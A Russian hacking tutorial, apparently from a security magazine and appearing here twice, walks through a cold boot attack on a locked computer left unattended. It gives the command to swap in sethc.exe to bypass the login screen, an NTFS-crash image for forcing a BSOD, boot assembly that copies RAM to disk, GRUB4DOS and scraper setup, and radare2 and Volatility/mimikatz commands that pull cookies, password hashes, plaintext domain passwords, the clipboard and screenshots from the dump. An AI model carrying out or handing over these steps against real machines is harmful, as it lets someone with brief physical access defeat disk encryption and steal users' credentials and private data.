Даже если ты заботишься о сохранности своих данных, не клеишь листочки с паролями на монитор, шифруешь жесткий диск и всегда блокируешь комп, прежде чем отлучиться в туалет, это совершенно не означает, что твоя информация в безопасности. Содержимое памяти можно легко сдампить с помощью обычной флешки, и сейчас я подробно расскажу, как это сделать.
Этой статьей мы начинаем серию публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. Мы раскроем простые способы получения несанкционированного доступа к защищенной информации и покажем, как ее оградить от подобных атак.
Представь, что ты вышел поговорить по телефону, перекусить либо просто погулять и оставил свой компьютер или ноутбук без присмотра на 10–15 минут. Возможно, ты сотрудник офиса или студент вуза и у тебя перерыв. При этом ты, как правильный пользователь, заблокировал свой компьютер. У тебя даже зашифрованный HDD или SSD, стойкий пароль на вход в систему, установлены все необходимые обновления. Кажется, что все отлично и твои данные в безопасности. Но так ли это на самом деле?
Давай подумаем. Представим себя в роли потенциального злоумышленника. Первое и самое простое, что мы можем сделать, когда время ограниченно, — это присоединиться к компьютеру напрямую с помощью витой пары. Ведь для этого не нужно даже входить в систему. Так мы получим сетевой канал взаимодействия, который, возможно, позволит взломать компьютер одним из следующих способов:
Второе, что мы можем, — перевести машину в спящий режим или гибернацию. Даже в спящем режиме диск не используется, подпитывается только RAM. После этого можно извлечь жесткий диск и подключиться к нему напрямую, например с помощью девайса, изображенного на следующем рисунке.
USB-адаптер для прямого доступа к диску
В большинстве случаев этого окажется достаточно. Если бы перед нами был обычный незашифрованный HDD или SSD, мы смогли бы получить доступ ко всем документам и файлам, включая системные, извлечь пароли и так далее. С подобным прямым доступом к диску мы не будем довольствоваться только пассивным чтением информации, а получим возможность изменять данные на нем. Теоретически мы можем сбросить пароль и, вернув диск обратно в комп, успешно войти в пользовательскую сессию через пятикратное нажатие клавиши Shift:
Мы не станем развивать данный сценарий, поскольку реализовать его довольно просто, хотя в нем есть свои тонкости. И все‑таки наша цель — это компьютер с зашифрованным диском.
Наконец, третье, что мы можем сделать, — атака холодной перезагрузкой (cold boot attack), которой и посвящена сегодняшняя статья.
Cold boot attack — это широко известный способ получения доступа к RAM, использующий эффект сохранения данных в памяти, который достигается так называемой холодной перезагрузкой — перезагрузкой без использования ПО, или, грубо говоря, аппаратной перезагрузкой.
Почему не программной? При программной перезагрузке закроются все процессы и файлы, смаппленные в RAM, и, возможно, она даже будет принудительно затерта. Вот почему нам так важно сделать перезагрузку самостоятельно, без привлечения операционной системы, сохранив все ценные данные в памяти.
Добиться такой перезагрузки можно, например, следующими способами:
На ноутбуке мы получаем дополнительные проблемы. Во‑первых, только у малой части ноутбуков сейчас есть отдельная кнопка аппаратной перезагрузки. Во‑вторых, современные ноутбуки часто не снабжаются съемными аккумуляторами, так что вынуть аккумулятор на короткое время вряд ли получится. В таком случае можно попробовать вызвать перезагрузку, вставив флешку со специально поврежденной файловой системой, которая искусственно вызовет BSOD.
Скачать и записать на флешку такой образ можно, например, так (подразумевается, что у тебя Linux и установлен Git):
Как поступить, каждый раз приходится решать отдельно, но нужно помнить, что ошибка недопустима, ведь можно потерять данные в RAM. Хотя современная Windows, которая так любит уходить в спящий режим, может нам помочь и вернуть состояние RAM из файла гибернации.
В крайнем случае есть еще вариант: извлечь и охладить планки памяти DRAM/SRAM и перенести их на другую плату, но он технически намного сложнее и реализуется не так быстро, поскольку требует разбирать компьютер, поэтому его мы не рассматриваем. Другое дело — загрузочная флешка: открытый порт USB есть почти везде.
Все необходимые примитивы — это чтение физической памяти и прямая запись на жесткий диск, которые можно взять из следующего кода:
Если скомпилировать и поместить этот код в самое начало любой флешки или диска, то BIOS выполнит его как загрузочный:
У компьютера с классическим BIOS загрузочный код выполняется в реальном режиме (16 бит) и доступ к памяти идет по физическому адресу. Адрес читаемой RAM указывается в паре регистров ES:BX. Доступ на запись к жесткому диску или флешке осуществляется при помощи BIOS-прерывания 0x13 (по сути, это что‑то вроде API для BIOS). И в результате выполнения такого кода содержимое 512 байт RAM будет скопировано на сектор HDD. Завернув этот участок кода в цикл, мы, в принципе, можем считать всю RAM целиком.
Не пугайся, никакой код на ассемблере мы больше писать не будем. Уже есть удобный инструмент, который создан специально для этой атаки. И, как ты, возможно, догадался, эксплуатировать cold boot attack мы будем с помощью простой загрузочной флешки.
Содержимое конфигурационного файла загрузчика menu_sec_part.lst:
Эта конфигурация предусматривает, что содержимое RAM будет сохраняться непосредственно в дополнительный раздел на флешке, минуя файловую систему. На самом деле с помощью загрузчика GRUB мы можем создать виртуальный диск из файла. Это дало бы нам в дальнейшем удобный доступ к дампу в виде файла на флешке. Несомненно, это было бы более правильно, но на современных файловых системах не так просто создать нефрагментированный сплошной файл большого размера. На FAT32 файл больше 4 Гбайт вообще не создать, а, например, на NTFS ровно посередине раздела будет расположен служебный MFT, описывающий файлы, и при записи на такой виртуальный диск ты попросту затрешь свою ФС. Так что рекомендую классический вариант с дампом RAM в раздел, а не в файл.
Сама атака занимает некоторое время и выглядит как простое подключение USB-флешки. И пока пользователь отсутствует, данные из его RAM постепенно утекают на съемный носитель злоумышленника. Демонстрация этой атаки представлена на следующем рисунке.
Дамп RAM на флешку в действии
Как только атака будет завершена, точная копия оперативной памяти сохранится во втором разделе нашей флешки (/dev/sdb2). Преобразуем ее в привычный файл для удобства:
У меня получившийся дамп был немного сдвинут — на 0x53000 байт, но это легко исправить:
Теперь перед нами та самая оперативная память, что была на момент аппаратного сброса, со всеми лежащими в ней секретами, которые можно легко обнаружить:
Используя сигнатурный подход, то есть зная определенные ключевые слова, такие как Password, Secret или Cookie, мы можем простым поиском по содержимому найти те или иные чувствительные данные. Например, по сигнатурам, которые есть у большинства файлов, можно искать RSA-ключи, возможно — какие‑то фотографии, PDF-документы, архивы и прочее.
На следующем рисунке представлен пример того, что было запущено в системе перед блокировкой компьютера и началом атаки.
Состояние ПК перед блокировкой и аппаратным сбросом
А после — на машине атакующего в памяти содержится введенная строка.
Расположение текста с экрана в RAM
Но извлекать данные из RAM по сигнатурам — это далеко не все, что мы можем. В дампе памяти присутствуют еще те самые структуры ОС, которые позволят восстановить хронологию событий в системе перед аппаратным сбросом.
Внимательный читатель заметит, что для реализации такой атаки требуется запустить на целевом компьютере код загрузочной флешки, а это перезапишет некоторые области в памяти. Экспериментально, с помощью побайтового сравнения содержимого RAM виртуальных машин на соответствующих этапах, было выявлено, что разнообразные загрузчики затирают собой не так уж и много памяти.
Вот количество перезаписываемых байтов в RAM на разных этапах загрузки:
Тем не менее перезапись даже нескольких мегабайт в неудачном месте может нарушить важные структуры и сделать невозможным восстановление картины состояния ОС. Опытным путем на примере Windows 7 было установлено, что в первых 100 Мбайт RAM содержится не так много данных и только перезапись области 5–15 Мбайт и 105–110 Мбайт разрушает важные структуры данных, нужные для анализа состояния ОС.
На практике же выполняемый дамп памяти посредством GRUB4DOS + scraper64_haltonly.bin все же окажется пригоден для анализа. Все изменения в RAM будут происходить в самом начале, тогда как сама ОС будет размещена после первых 100 Мбайт, что практически исключит вероятность перезаписи. Энтропия дампа показывает общую картину расположения в ней данных и пустот.
Энтропия 1 Гбайт RAM, содержащей загруженную Windows
Таким образом, мы расширим простой сигнатурный подход к извлечению секретов из дампа памяти до продвинутого с использованием форензики, который сможет нам многое рассказать о жертве нашей атаки.
Список процессов в момент аппаратного сброса
Например, мы можем найти расположение файлов реестра в RAM и извлечь оттуда хеши паролей локальных учетных записей.
Извлекаем локальные учетные записи
Подобное можно сделать и для доменных учеток, получая пароли уже открытым текстом:
Далее следует список открытых файлов и их содержимое, сетевые соединения, буфер обмена и даже снимок рабочего стола:
И так далее... Словом, все как при обычной форензике.
На EFI разных производителей опытным путем было установлено, что сразу после перезагрузки при начальной инициализации оборудования случайные байты записываются во всю оперативную память, и это полностью защищает пользователей современных ПК с EFI от покушений со стороны злоумышленников.
Проверить это легко с помощью того же загрузчика GRUB4DOS. Он поддерживает чтение/запись произвольных участков RAM посредством специальных команд. Находим любой адрес в памяти для теста, смотрим его содержимое и запоминаем:
Перезаписываем, например словом test, и делаем перезагрузку:
Загрузчик GRUB4DOS при перезагрузке не затирает память, так что этот способ идентичен холодной перезагрузке.
Далее проверяем, затер ли EFI нашу память, или же после перезагрузки наши данные в RAM остались нетронутыми. В моем случае память изменилась. Проверялось это на ноутбуках фирм HP и Lenovo. Тем не менее инструмент memory scrapper доступен и для EFI.
Несмотря на то что компьютеры с классическим BIOS постепенно уходят в прошлое, в корпоративном сегменте, где массовая замена техники стоит больших денег, по‑прежнему можно встретить немало старых системников, за которыми продолжают работать сотрудники. Кроме того, современные материнские платы с EFI всё еще поддерживают старый legacy-режим BIOS, что делает их также уязвимыми к этой атаке.
Автор @s0i37
Этой статьей мы начинаем серию публикаций о практических приемах взлома и атак с использованием подручных устройств, которые можно собрать дома. Мы раскроем простые способы получения несанкционированного доступа к защищенной информации и покажем, как ее оградить от подобных атак.
Представь, что ты вышел поговорить по телефону, перекусить либо просто погулять и оставил свой компьютер или ноутбук без присмотра на 10–15 минут. Возможно, ты сотрудник офиса или студент вуза и у тебя перерыв. При этом ты, как правильный пользователь, заблокировал свой компьютер. У тебя даже зашифрованный HDD или SSD, стойкий пароль на вход в систему, установлены все необходимые обновления. Кажется, что все отлично и твои данные в безопасности. Но так ли это на самом деле?
Давай подумаем. Представим себя в роли потенциального злоумышленника. Первое и самое простое, что мы можем сделать, когда время ограниченно, — это присоединиться к компьютеру напрямую с помощью витой пары. Ведь для этого не нужно даже входить в систему. Так мы получим сетевой канал взаимодействия, который, возможно, позволит взломать компьютер одним из следующих способов:
- уязвимости (MS17-010, BlueKeep, PrintNightmare);
- NetBIOS/LLMNR spoofing (Responder);
- bruteforce (SMB, RDP);
- MITM (Evilgrade, BDFProxy, MS16-101).
Второе, что мы можем, — перевести машину в спящий режим или гибернацию. Даже в спящем режиме диск не используется, подпитывается только RAM. После этого можно извлечь жесткий диск и подключиться к нему напрямую, например с помощью девайса, изображенного на следующем рисунке.
USB-адаптер для прямого доступа к диску
В большинстве случаев этого окажется достаточно. Если бы перед нами был обычный незашифрованный HDD или SSD, мы смогли бы получить доступ ко всем документам и файлам, включая системные, извлечь пароли и так далее. С подобным прямым доступом к диску мы не будем довольствоваться только пассивным чтением информации, а получим возможность изменять данные на нем. Теоретически мы можем сбросить пароль и, вернув диск обратно в комп, успешно войти в пользовательскую сессию через пятикратное нажатие клавиши Shift:
Код:
mount /dev/sdb2 /media/hdd
cp /media/hdd/Windows/System32/cmd.exe /media/hdd/Windows/System32/sethc.exe
Наконец, третье, что мы можем сделать, — атака холодной перезагрузкой (cold boot attack), которой и посвящена сегодняшняя статья.
Cold boot attack — это широко известный способ получения доступа к RAM, использующий эффект сохранения данных в памяти, который достигается так называемой холодной перезагрузкой — перезагрузкой без использования ПО, или, грубо говоря, аппаратной перезагрузкой.
Почему не программной? При программной перезагрузке закроются все процессы и файлы, смаппленные в RAM, и, возможно, она даже будет принудительно затерта. Вот почему нам так важно сделать перезагрузку самостоятельно, без привлечения операционной системы, сохранив все ценные данные в памяти.
Добиться такой перезагрузки можно, например, следующими способами:
- аппаратно отключить‑включить питание (очень быстро);
- выполнить аппаратный reset;
- вызвать Blue Screen of Death (BSOD).
На ноутбуке мы получаем дополнительные проблемы. Во‑первых, только у малой части ноутбуков сейчас есть отдельная кнопка аппаратной перезагрузки. Во‑вторых, современные ноутбуки часто не снабжаются съемными аккумуляторами, так что вынуть аккумулятор на короткое время вряд ли получится. В таком случае можно попробовать вызвать перезагрузку, вставив флешку со специально поврежденной файловой системой, которая искусственно вызовет BSOD.
Скачать и записать на флешку такой образ можно, например, так (подразумевается, что у тебя Linux и установлен Git):
Код:
git clone https://github.com/mtivadar/windows10_ntfs_crash_dos
dd if=tinyntfs of=/dev/sdb
В крайнем случае есть еще вариант: извлечь и охладить планки памяти DRAM/SRAM и перенести их на другую плату, но он технически намного сложнее и реализуется не так быстро, поскольку требует разбирать компьютер, поэтому его мы не рассматриваем. Другое дело — загрузочная флешка: открытый порт USB есть почти везде.
Все необходимые примитивы — это чтение физической памяти и прямая запись на жесткий диск, которые можно взять из следующего кода:
Код:
[org 0x7C00]
[bits 16]
resetdisk:
mov ah, 0x00 ; reset function
mov dl, 0x00 ; drive
int 0x13 ; disk int
jc resetdisk
getmem:
mov bx, 0x0000 ; segment
mov es, bx
mov bx, 0x8000 ; offset
; es:bx = 0x0000:8000
writedisk:
mov ah, 0x03 ; write function
mov al, 0x01 ; sectors
mov ch, 0x00 ; cylinder
mov cl, 0x03 ; sector
mov dh, 0x00 ; head
mov dl, 0x80 ; drive
int 0x13 ; disk int
times 510 - ($ - $$) db 0x00
db 0x55, 0xAA
times 8096 db 0xfe
Код:
nasm bootcode.asm
qemu-system-i386 -hda bootcode
Не пугайся, никакой код на ассемблере мы больше писать не будем. Уже есть удобный инструмент, который создан специально для этой атаки. И, как ты, возможно, догадался, эксплуатировать cold boot attack мы будем с помощью простой загрузочной флешки.
ПОДГОТОВКА
Подготовим атакующую загрузочную USB-флешку, которая будет дампить RAM в неразмеченную область. Так файловая система (ФС) флешки не пострадает:
Код:
wget https://github.com/baselsayeh/coldboot-tools/releases/download/2/bios_memimage64.zip
Код:
sudo dd if=grldr.mbr of=/dev/sdb conv=notrunc # Установка загрузчика GRUB4DOS в MBR
Код:
sudo fdisk /dev/sdb # Создаем один раздел, не до конца области диска, оставив 4–8 Гбайт
Код:
sudo mkfs.fat /dev/sdb1 # Используем самую простую ФС
Код:
sudo mount /dev/sdb1 /media/usb
Код:
cp grldr menu_sec_part.lst scraper*.bin /media/usb/ # Установка dump RAM
Содержимое конфигурационного файла загрузчика menu_sec_part.lst:
Код:
title Dump the ram (64bit Halt)
map (hd0) (hd1)
map (hd0,1)+1 (hd0) # Раздел флешки, на который будет сохранен дамп RAM
map --hook
rootnoverify (hd0,0)
chainloader --force --boot-cs=0x7c0 --boot-ip=0x200 (hd1,0)/boot/grub4dos/scraper/scraper64_haltonly.bin # Используем длинный режим, чтобы скопировать больше 4 Гбайт RAM
ЭКСПЛУАТАЦИЯ
Совсем необязательно, чтобы на целевом компе была включена автоматическая загрузка с USB-флешки. Многие версии BIOS поддерживают выбор носителя для загрузки через нажатие клавиши F8 (или аналогичной). Но даже если нет, это по‑прежнему можно сделать через вход в BIOS и изменение настроек в нем.Сама атака занимает некоторое время и выглядит как простое подключение USB-флешки. И пока пользователь отсутствует, данные из его RAM постепенно утекают на съемный носитель злоумышленника. Демонстрация этой атаки представлена на следующем рисунке.
Дамп RAM на флешку в действии
Как только атака будет завершена, точная копия оперативной памяти сохранится во втором разделе нашей флешки (/dev/sdb2). Преобразуем ее в привычный файл для удобства:
Код:
sudo dd if=/dev/sdb2 of=ram.img bs=512 status=progress
Код:
truncate -s $[0x53000] pad.img
cat pad.img ram.img > _ram.img
Код:
radare2 -n ram.img
/wi cookie: # Ищем все cookie
/wi passw # Ищем пароли
На следующем рисунке представлен пример того, что было запущено в системе перед блокировкой компьютера и началом атаки.
Состояние ПК перед блокировкой и аппаратным сбросом
А после — на машине атакующего в памяти содержится введенная строка.
Расположение текста с экрана в RAM
Но извлекать данные из RAM по сигнатурам — это далеко не все, что мы можем. В дампе памяти присутствуют еще те самые структуры ОС, которые позволят восстановить хронологию событий в системе перед аппаратным сбросом.
Внимательный читатель заметит, что для реализации такой атаки требуется запустить на целевом компьютере код загрузочной флешки, а это перезапишет некоторые области в памяти. Экспериментально, с помощью побайтового сравнения содержимого RAM виртуальных машин на соответствующих этапах, было выявлено, что разнообразные загрузчики затирают собой не так уж и много памяти.
Вот количество перезаписываемых байтов в RAM на разных этапах загрузки:
- bootmgr (загрузчик Windows 7, 10) — 5 157 389 байт;
- GRUB 2 (загрузчик Linux) — 8 219 883 байт;
- burg (альтернативный загрузчик Linux) — 9 599 333 байт;
- liveOS для форензики — 171 944 965 байт.
Тем не менее перезапись даже нескольких мегабайт в неудачном месте может нарушить важные структуры и сделать невозможным восстановление картины состояния ОС. Опытным путем на примере Windows 7 было установлено, что в первых 100 Мбайт RAM содержится не так много данных и только перезапись области 5–15 Мбайт и 105–110 Мбайт разрушает важные структуры данных, нужные для анализа состояния ОС.
На практике же выполняемый дамп памяти посредством GRUB4DOS + scraper64_haltonly.bin все же окажется пригоден для анализа. Все изменения в RAM будут происходить в самом начале, тогда как сама ОС будет размещена после первых 100 Мбайт, что практически исключит вероятность перезаписи. Энтропия дампа показывает общую картину расположения в ней данных и пустот.
Энтропия 1 Гбайт RAM, содержащей загруженную Windows
Таким образом, мы расширим простой сигнатурный подход к извлечению секретов из дампа памяти до продвинутого с использованием форензики, который сможет нам многое рассказать о жертве нашей атаки.
ИЗВЛЕКАЕМ СЕКРЕТЫ
И здесь мы плавно переходим к форензике. Используя известные инструменты, такие как Volatility или Rekall, мы можем получить большой объем данных о состоянии ОС на момент нашего вмешательства. Список процессов — это отличная демонстрация того, что мы на верном пути.
Список процессов в момент аппаратного сброса
Например, мы можем найти расположение файлов реестра в RAM и извлечь оттуда хеши паролей локальных учетных записей.
Извлекаем локальные учетные записи
Подобное можно сделать и для доменных учеток, получая пароли уже открытым текстом:
Код:
vol.py --plugins=/path/to/volatility_plugins/FrancescoPicasso -f ram.img mimikatz
Код:
vol.py -f ram.img filescan
vol.py -f ram.img dumpfiles -r '.sqlite' -D files/
vol.py -f ram.img netscan
vol.py -f ram.img clipboard
vol.py -f ram.img screenshot -D .
EFI
У этой атаки есть маленькая особенность — она работает главным образом на компьютерах с классическим BIOS.На EFI разных производителей опытным путем было установлено, что сразу после перезагрузки при начальной инициализации оборудования случайные байты записываются во всю оперативную память, и это полностью защищает пользователей современных ПК с EFI от покушений со стороны злоумышленников.
Проверить это легко с помощью того же загрузчика GRUB4DOS. Он поддерживает чтение/запись произвольных участков RAM посредством специальных команд. Находим любой адрес в памяти для теста, смотрим его содержимое и запоминаем:
Код:
map --rd-base=0xADDR
map --rd-size=0x200
cat --hex (rd)0x0+1
Код:
write (rd)0x0+1 test
reboot
Далее проверяем, затер ли EFI нашу память, или же после перезагрузки наши данные в RAM остались нетронутыми. В моем случае память изменилась. Проверялось это на ноутбуках фирм HP и Lenovo. Тем не менее инструмент memory scrapper доступен и для EFI.
ВЫВОДЫ
Мы увидели, что в RAM все данные открыты и описанная выше атака позволяет обойти полное шифрование диска, да еще и на заблокированном компе! Иными словами, мы смогли атаковать реально защищенный компьютер, который считается эталоном безопасности для стандартных рабочих мест большинства компаний, не говоря уже о простых домашних машинах.Несмотря на то что компьютеры с классическим BIOS постепенно уходят в прошлое, в корпоративном сегменте, где массовая замена техники стоит больших денег, по‑прежнему можно встретить немало старых системников, за которыми продолжают работать сотрудники. Кроме того, современные материнские платы с EFI всё еще поддерживают старый legacy-режим BIOS, что делает их также уязвимыми к этой атаке.
Автор @s0i37